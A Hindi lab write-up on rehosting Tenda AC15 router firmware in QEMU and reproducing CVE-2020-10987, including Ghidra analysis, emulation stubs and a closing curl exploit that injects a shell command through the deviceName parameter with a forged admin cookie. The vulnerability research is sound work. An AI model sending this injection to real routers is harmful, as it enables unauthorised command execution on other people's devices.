
Tenda AC15 राउटर फर्मवेयर पुनः होस्टिंग और दूरस्थ कमांड निष्पादन (CVE-2020-10987) शोषण प्रतिकृति के लिए लेख
यह लेख दिखाता है कि कैसे मैंने AC15 (V15.03.05.19) फर्मवेयर के वेबसर्वर को QEMU के साथ एमुलेट किया, इसे होस्ट ब्राउज़र से पहुंच योग्य बनाया, और कमांड निष्पादन प्राप्त करने के लिए एमुलेटेड rootfs के अंदर /goform/setUsbUnload हैंडलर (CVE-2020-10987) का उपयोग किया।
squashfs फाइलसिस्टम निकालें (या हमारे मामले में प्राप्त करें) और रिवर्सिंग शुरू करेंपहले हमें अपनी फर्मवेयर इमेज प्राप्त करनी होगी। मैं AC15 V15.03.05.19 के लिए इमेज डाउनलोड नहीं ढूंढ पाया, हालांकि मुझे पहले से निकाले गए squashfs फाइलसिस्टम के साथ एक github रेपो मिल गया। यदि हमारे पास सही इमेज फ़ाइल होती, तो हम इसे binwalk का उपयोग करके निकाल सकते थे, जैसे,```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
चूंकि हमारे पास सही इमेज फ़ाइल नहीं है, लेकिन पहले से निकाली गई फाइलसिस्टम वाला एक रेपो है, हम बस रेपो को क्लोन कर सकते हैं।```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
मैंने VR नामक एक डायरेक्टरी बनाई है और इस रिपॉजिटरी को इसके अंदर क्लोन किया है। मेरा rootfs $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs पर है।
बढ़िया, अब हमारे पास हमारा AC15 V15.03.05.19 फर्मवेयर है। चलिए कुछ रिवर्सिंग करते हैं ताकि देख सकें कि क्या हो रहा है।
मैं अपने रिवर्सिंग के लिए Ghidra 11.4.2 का उपयोग करूंगा।
चलिए अपने टार्गेट बाइनरी rootfs/bin/httpd पर जाते हैं और इसे Ghidra में लोड करते हैं।
अगर हम formsetUsbUnload फंक्शन पर जाते हैं, तो हम देख सकते हैं,```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
यह कमज़ोरी है। `deviceName` पैरामीटर सीधे `doSystemCmd` में पास किया जाता है जिससे हम जो चाहें कमांड भेज सकते हैं।
अब चूँकि हम इस फर्मवेयर को qemu का उपयोग करके रीहोस्ट करने जा रहे हैं, न कि मूल राउटर हार्डवेयर से, कुछ प्रोग्राम उन डिवाइसों तक पहुँचने का प्रयास करेंगे जो वहाँ नहीं हैं और हमारे स्टार्टअप को क्रैश कर देंगे।
चूँकि हमारा लक्ष्य वेबसर्वर (`httpd`) का शोषण करना है, मैंने केवल उस बाइनरी को रीहोस्ट करने पर ध्यान केंद्रित किया, न कि पूरे स्टार्टअप (`/rootfs/etc_ro/init.d/rcS`) पर। _पीछे मुड़कर देखने पर मुझे यकीन नहीं है कि यह सही कदम था_
इसलिए `rcS` को देखते समय मैं कुछ ऐसा खोजना चाहता था जो `rcS` कर सकता है और `httpd` को इसकी आवश्यकता होगी। फ़ाइल के अंत की ओर हम देख सकते हैं:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS शेष स्टैक के शुरू होने से ठीक पहले पृष्ठभूमि में cfmd प्रारंभ करता है।
कुछ और शोध करने और यह देखने के बाद कि कमजोर फ़ंक्शन कमांड कैसे भेजता है, मैं इस निष्कर्ष पर पहुंचा कि,
httpd एक cfm post बनाता हैcfm क्लाइंट एक UNIX डोमेन सॉकेट (जैसे /var/cfm_socket) के माध्यम से cfmd से संवाद करता है।cfmd में InitServer रूटीन में हम देख सकते हैं```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
यह एक UIX socket बनाता है और सुनता है।
कुल मिलाकर यह कैसे काम करता है कि handler प्रत्येक क्लाइंट से एक निश्चित 0x7e0-बाइट frame पढ़ता है (`RecvMsg`/`SendMsg`)। पहले 4 बाइट एक command code होते हैं; फिर एक 512-बाइट key buffer और एक 1500-बाइट value buffer होता है (आप handler में stack object sizes देख सकते हैं)। यह opcode पर switch करता है और एक ACK code के साथ उत्तर देता है:
- `2` -> Get: `GetCfmValue(key, value)` फिर reply code `3`
- `0` -> Set: `SetCfmValue(key, value)` फिर reply code `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` फिर reply code `0x12`
- `10` -> Commit: `SaveCfm2Flash()` फिर उत्तर `0x10` (ठीक) या `0xB` (त्रुटि) देता है
इसलिए `cfmd` का अनुकरण करने के लिए मैंने एक छोटी स्क्रिप्ट `cfm_stub` बनाई।```C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
अगले भाग के बाद मैं इसे संकलित करने का तरीका दिखाऊंगा।
अगली सहायक फ़ाइल hooks.so है। httpd और cfm में कुछ फ़ंक्शन हैं जो गैर-मौजूद हार्डवेयर के साथ बातचीत करने का प्रयास करते हैं।
हमारा प्रोग्राम शुरू होने पर निम्नलिखित मान लेता है।
/dev/nvram) मौजूद है और सामान्य डिफ़ॉल्ट मान लौटाता है।निम्नलिखित फ़ंक्शन एक समस्या बन जाते हैं और इसलिए हमें LD_PRELOAD=/hooks.so के साथ पैच करना होगा।
get_flash_type() -> यदि यह 4 लौटाता है, तो कोड फ़ाइल-आधारित पथ (cfm_file_init) लेता है, अन्यथा यह MTD से बात करने का प्रयास करता है (जो हमारे पास नहीं है)।get_cfm_blk_size_from_cache() (और/या वैरिएंट j_get_cfm_blk_size_from_cache) से परामर्श लिया जाता है।bcm_nvram_get) के लिए कॉल विफल नहीं होनी चाहिए अन्यथा स्टैक मानता है कि "NVRAM नष्ट हो गया" और रिस्टोर/रीबूट लॉजिक में चला जाता है।load_l7setting_file() और restore_power() जैसी रूटीन से सफल होने की उम्मीद है लेकिन वे गैर-मौजूद हार्डवेयर/फ़ाइलों को छूती हैं।यहाँ हमारा hooks.c है। मूल के लिए azeria-labs को श्रेय।```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
अब इन फ़ाइलों को कंपाइल करें और उन्हें अपने फर्मवेयर में रखें।
क्रॉस कंपाइल करने के लिए हम Bootlin के पूर्व-निर्मित uClibc टूलचेन का उपयोग कर सकते हैं।```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
आपको कुछ इस प्रकार देखना चाहिए```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
अब हम के साथ संकलित कर सकते हैं```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
फिर अंततः उन्हें फर्मवेयर में स्थापित करें।``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## ARM अतिथि सिस्टम बनाना
आइए हम qemu पूर्ण सिस्टम का उपयोग करके अपने arm अतिथि को सेट अप करें।
मैंने इस अतिथि सिस्टम को `~/qsys` पर रखने के लिए एक निर्देशिका बनाई।
अब इस निर्देशिका में हम अपने अतिथि को निम्नलिखित कार्य करके सेटअप करेंगे```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
यह हमारा armhf rootfs बनाएगा, हमारे guest को अपडेट करेगा, कुछ बुनियादी उपकरण सेट करेगा, फिर हमारे root username:password को root:root पर सेट करेगा।
इसके बाद armhf kernal को इसके साथ स्थापित करें```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
फिर हम kernal को कॉपी करते हैं और ext4 इमेज बनाते हैं।```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
अब अपने गेस्ट सिस्टम को शुरू करने के लिए
~/qsys से चलाएँ```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
यहाँ स्टार्टअप कमांड में इन पंक्तियों का वास्तव में क्या अर्थ है, इसका एक त्वरित विवरण दिया गया है।
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` वर्सेटाइल एक्सप्रेस A9 बोर्ड मॉडल का उपयोग करें (एक बोर्ड जो डेबियन के armmp कर्नेल द्वारा समर्थित है)
- `-kernel/-dtb/-initrd` इस बोर्ड के लिए डेबियन कर्नेल/initrd बूट करें, साथ ही वेक्सप्रेस डिवाइस-ट्री ब्लॉब
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` PL011 पर सीरियल कंसोल के साथ मानक रूटफ्स-ऑन-एसडी सेटअप।
- `-nographic -audiodev none,id=noaudio` केवल सीरियल UI (कोई SDL विंडो नहीं) और कोई ऑडियो नहीं।
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU यूज़र-मोड NAT; `host:2222` को `guest:22` पर और `host:8080` को `guest:80` पर फ़ॉरवर्ड करें। नेटवर्किंग के लिए यह महत्वपूर्ण है। इसके बारे में बाद में और बात करेंगे।
- `-device virtio-net-device,netdev=net0` `net0` बैकएंड से एक NIC अटैच करें।
- `-drive file=./armhf.ext4,if=sd,format=raw` डेबियन रूटफ्स एक SD-जैसे ब्लॉक डिवाइस (`/dev/mmcblk0`) पर रहता है।
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` फ़र्मवेयर रूटफ्स (रीड-ओनली) को टैग `fw` के साथ 9p के माध्यम से गेस्ट में एक्सपोज़ करें। हम इसे `/firmware` पर माउंट करेंगे और लिखने योग्यता के लिए ऊपर एक ओवरलेफ्स लगाएंगे।
अब गेस्ट के अंदर आपको कुछ त्रुटियां मिल सकती हैं। जब तक आप लॉग इन प्रॉम्प्ट तक पहुँचते हैं और `root:root` के साथ लॉग इन कर सकते हैं, तब तक यह ठीक है।
अगला, हमारे गेस्ट सिस्टम पर इंटरनेट पाने के लिए निम्नलिखित चलाएँ:```
dhclient -v eth0 || udhcpc -i eth0
यह eth0 पर एक DHCP लीज़ प्राप्त करेगा
अब socat इंस्टॉल करें``` apt-get update && apt-get install -y socat
## बूट स्क्रिप्ट
अब हम अतिथि की रूट डायरेक्टरी में अपनी बूट स्क्रिप्ट बनाएंगे।```bash
nano boot_tenda.sh
यहाँ हमारे गेस्ट के अंदर हमारा बूट स्क्रिप्ट /root/boot_tenda_sh है जिसमें प्रत्येक चरण को समझाने वाली टिप्पणियाँ हैं।```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
अब इसे चलाने का समय है।```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
आपको पोर्ट 80 पर httpd के साथ एक लिसनर दिखना चाहिए
आगे सत्यापित करने के लिए अपने होस्ट पर http://127.0.0.1:8080/ पर जाएं और हम राउटर का होमपेज देख सकते हैं।
यदि आप नेटवर्किंग कैसे काम करती है इसके बारे में और अधिक जानना चाहते हैं तो पढ़ना जारी रखें, यदि नहीं तो आप अंतिम अनुभाग पर जा सकते हैं जहां हम वेबसर्वर का शोषण करते हैं।
हमें गेस्ट के अंदर राउटर के httpd को लोड करना था लेकिन इसे होस्ट के ब्राउज़र से http://127.0.0.1:8080/ पर पहुंच योग्य बनाना था जबकि सर्वर अभी भी मानता है कि यह राउटर के LAN IP (192.168.0.1) से बंधा है।
इसे काम करने के लिए तीन भाग हैं:
br0 at 192.168.0.1)socat)हम इसे स्टार्टअप कमांड में करते हैं जब हम निर्दिष्ट करते हैं```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...` slirp (QEMU का user-mode NAT) सक्षम करता है: गेस्ट को इंटरनेट (DHCP, DNS) तक बाहरी पहुंच मिलती है बिना होस्ट पर root bridges या TAP डिवाइसों की आवश्यकता के।
- `hostfwd=tcp::2222-:22` होस्ट पोर्ट 2222 को गेस्ट पोर्ट 22 पर अग्रेषित करता है।
- `hostfwd=tcp::8080-:80` होस्ट पोर्ट 8080 को गेस्ट पोर्ट 80 पर अग्रेषित करता है।
फिर हम `eth0` के लिए DHCP लीज़ प्राप्त करते हैं। ध्यान दें कि Slirp आमतौर पर गेस्ट को `10.0.2.15` असाइन करता है, गेटवे `10.0.2.2` पर होता है।```bash
dhclient -v eth0 || udhcpc -i eth0
वास्तविक फर्मवेयर LAN ब्रिज br0 को 192.168.0.1 पर बाइंड करने की अपेक्षा करता है। हम उसे पुनः बनाते हैं:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
- बाइनरी (या उनकी लाइब्रेरी) अक्सर इंटरफ़ेस नामों (जैसे, `lan_ifname=br0`) को क्वेरी करती हैं और एक ब्रिज डिवाइस की अपेक्षा करती हैं।
- httpd को `192.168.0.1` से बाँधने से व्यवहार/रीडायरेक्ट (जैसे, `302` से `http://192.168.0.1/main.html`) वास्तविक डिवाइस के समान रहता है।
- इस बिंदु पर, httpd केवल `192.168.0.1:80` पर सुनता है (गेस्ट के `eth0` पर नहीं)।
### 3. ब्रिज hostfwd -> फ़र्मवेयर लिसनर `socat` के साथ
`host:8080` -> `guest:80` पहले से QEMU द्वारा सेट अप किया गया है। लेकिन `httpd` गेस्ट के `eth0:80` पर नहीं सुन रहा है; यह `192.168.0.1:80` पर सुनता है। इसलिए गेस्ट के अंदर हम एक छोटा TCP रिले जोड़ते हैं:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
यहाँ समग्र लेआउट है``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## एक्सप्लॉइट समय
वेब स्टैक “goform” एंडपॉइंट्स को कुछ same-origin/AJAX जाँच और एक “logged in” कुकी के पीछे सुरक्षित करता है। UI JavaScript द्वारा भेजे जाने वाले वही हेडर भेजें:```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
यह वास्तव में क्या करता है?
Host/Origin/Referer/X-Requested-With हैंडलर में AJAX + समान-मूल जाँचों को पार करता हैCookie: user=admin; password=<md5> एक लॉग-इन सत्र का अनुकरण करता है। इस मामले में मैंने md5("admin") = 21232f297a57a5a743894a0e4a801fc3 का उपयोग कियाdeviceName=$(touch /tmp/Hello_World) डिवाइस का नाम उस कमांड पर सेट करता है जिसे हम चलाना चाहते हैं। इस मामले में हम एक फ़ाइल /tmp/Hello_World बना रहे हैं
ध्यान दें कि इस कमांड को चलाने से कुछ समय के लिए हैंग होगा और फिर संभवतः त्रुटि के साथ कनेक्शन बंद हो जाएगा। यह ठीक है और इसके काम करने का प्रमाण है।इसके बाद अतिथि में, आगे सत्यापित करने के लिए हम अपनी नई फ़ाइल के अस्तित्व की जाँच कर सकते हैं```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
आपको देखना चाहिए```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
हमने अपने पुनः होस्ट किए गए राउटर को अपने भेजे गए कमांड को निष्पादित करके सफलतापूर्वक शोषण किया।